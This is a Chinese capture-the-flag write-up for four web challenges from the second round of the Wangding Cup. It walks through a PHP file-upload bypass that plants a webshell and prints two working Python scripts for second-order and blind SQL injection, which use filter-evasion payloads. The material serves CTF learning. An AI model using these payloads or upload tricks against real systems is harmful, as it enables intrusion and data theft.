[網(wǎng)鼎杯] 第二場web writeup

網(wǎng)鼎杯 第二場 web writeup

向信安之路的老哥要了一個賬號,賽后開始做題

web

calc


可以這個計算機很厲害
既然說一定要寫好正則,說明正則很重要
感覺是道沙箱逃逸題正好學(xué)習(xí)一下
可是怎么繞過正則
https://www.anquanke.com/post/id/85571
他沒有最后的$,所以后面應(yīng)該可以輸入很多字符,截止


來了一個int和不能str相加,name把后面的換成int呢

答案直接出來了。還行=。=
試了一下發(fā)現(xiàn)直接那個不行的原因是因為我加了一個回車,如果不加回車就可以了


這樣就可以了=。=

wafUpload

進圖給源碼真棒

<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
    #mime check
    if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
        die('This type is not allowed!');
    }

    #check filename
    $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
    if (!is_array($file)) {
        $file = explode('.', strtolower($file));
    }
    $ext = end($file);
    if (!in_array($ext, ['jpg', 'png', 'gif'])) {
        die('This file is not allowed!');
    }

    $filename = reset($file) . '.' . $file[count($file) - 1];
    if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
        echo 'Success!';
        echo 'filepath:' . $sandbox . '/' . $filename;
    } else {
        echo 'Failed!';
    }
}
show_source(__file__);
?>

先上傳再說



黑人問號我給你jpg居然不允許=。=我看看源碼



看了一下代碼所以他是先看filename,我剛剛在上傳的時候把filename改成了test,所以上傳失敗了


reset函數(shù)

reset() 將 array 的內(nèi)部指針倒回到第一個單元并返回第一個數(shù)組單元的值。


直接命名為jpg也是可以上傳的

判斷了這個
file是不是數(shù)組,是為了區(qū)別有沒有取名字吧 ![](http://pbolw7iuc.bkt.clouddn.com/15350280496059.jpg) 突然想到in_array是弱類型判斷,如果最后沒有加上strict參數(shù),漏洞估計在這![](http://pbolw7iuc.bkt.clouddn.com/15350280955431.jpg) ![](http://pbolw7iuc.bkt.clouddn.com/15350286804344.jpg) 我覺得可以上傳一個數(shù)組,filename[0]=xxx.php,filename[1]=000 然后構(gòu)成一個xxx.php.00 利用apache的解析漏洞來實現(xiàn)shell試一試可是,上傳上去的是個字符串無法實現(xiàn)。。 但是cout(\
file)-1和end是不一樣的,如果filename[0]=xxx.php,filename[2]=000
那么filename[1]就為空了

ok,試一下

寫進去了,掏出蟻劍
一直連不上才發(fā)現(xiàn)其實并沒有寫進去

再換個想法

命名為php.php/. 其實上傳的還是php.php連上蟻劍,終于成功了。。


找到flag

unfinished

這個loli挺可愛


進去一看源碼連個注冊地方都沒有,那么試一下register.php
果然在這

耶成功登錄

???什么都沒有,就只有一個adsl1234
找找有沒有源碼。。并沒有
我猜測應(yīng)該是二次注入,連給的信息都只有一個用戶名,跟強網(wǎng)杯的應(yīng)該差不對
從用戶名下手

并沒有成功,看樣子不用16進制

逗號被過濾了


注進去了!
為什么是1呢。總不可能是盲注吧。既然注釋符不能用就構(gòu)造為真就好了

這樣就可以了

解出來是web
那么繼續(xù)

被過濾了,看樣子不行,應(yīng)該是空格不能存在吧
information_schema原來是這個被過濾了
必須要兩次hex才可以把所有的數(shù)據(jù)拿出來一次不知道為啥不行=。=
腳本

import requests
import string
import re as r

ch = string.ascii_lowercase+string.digits+'-}'+'{'

re = requests.session()
url = 'http://9daeec995ba44773ba0af4a02d87163e89bcd352b4694337.game.ichunqiu.com/'

def register(email,username):
    url1 = url+'register.php' 
    data = dict(email = email, username = username,password = 'adsl1234')
    html = re.post(url1,data=data)
    html.encoding = 'utf-8'
    return html

def login(email):
    url2 = url+'login.php'
    data = dict(email = email,password = 'adsl1234')
    html = re.post(url2, data=data)
    html.encoding = 'utf-8'
    return html


f = ''
for j in range(0,17):
    payload = "0'^(select substr(hex(hex((select * from flag))) from {} for {}))^'0".format(int(j)*10+1,10)
    email = '{}@qq.com'.format(str(j)+'14')
    html = register(email,payload)
    # print html.text
    html = login(email)
    try:
        res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)
        flag = res[0][1:].strip()
        print flag
        f += flag
        print f
        print f.decode('hex').decode('hex')
    except:
        print "problem"

sqlweb

既然說admin也拿不到flag=。=那肯定是注入咯
噗感覺很簡單是一個盲注題
密碼錯誤也會顯示出來

現(xiàn)在要看看過濾了啥


太良心了!良心題過濾了啥都有
單引號沒過濾就沒啥問題
不能有空格沒問題,可以用括號
先本地測試一下

成功了一半 if 和mid并沒有過濾
那么空格用括號來繞過
逗號用from for來繞過
等號可以用strcmp,在測試一下

在處理一下空格
''^(strcmp(mid((select(username)from(users)where(id=1))from(1)for(1)),'c')
ok了
腳本,也只能注入password啥都被過濾了

突然發(fā)現(xiàn)strcmp也是有逗號的,只能用in函數(shù)了

import requests
import string

ch = string.ascii_lowercase+string.digits+'-}'+'{'

re = requests.session()
url = 'http://53b00b880684449d8b9784e95a0202e28dd6259b4ead4cda.game.ichunqiu.com/sql.php'

flag = ''
for i in range(1,100):
    for j in ch:
        payload = "admin'&&mid((passwd)from({})for(1))in('{}')/**/limit/**/1#".format(i,j)
        data = dict(uname=payload,passwd='adsl1234',submit='login')
        # print data
        html = re.post(url, data=data)
        # print html.text
        if 'passwd' in html.text:
            flag += j
            print flag
            break

出來admin的密碼是admin123
然后登錄顯示要吳彥祖的賬號密碼
把上面的admin換成wuyanzu就可以了


?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 簽到2 地址:來源:網(wǎng)絡(luò)攻防大賽 說了輸入zhimakaimen,開始輸入沒認真看,只能輸入10個數(shù)字,可是zhi...
    JasonChiu17閱讀 4,861評論 0 9
  • 抽空整理了一下CGCTF平臺的Web題的writeup。 0x01 簽到題(題目地址:http://chinal...
    ch3ckr閱讀 13,265評論 0 6
  • 實驗吧 writeup 打算把實驗吧所有的web題做一遍花了一個禮拜多的時間吧有些也看了wp不得不說收獲挺大 WE...
    ckj123閱讀 3,459評論 2 13
  • 若酒兒閱讀 179評論 0 0
  • 天上琉璃披黃土,化盡冰心塵家住。 哪曉陋石鐵鏟恨?散落時苦別亦苦。
    野的草閱讀 247評論 0 0

友情鏈接更多精彩內(nèi)容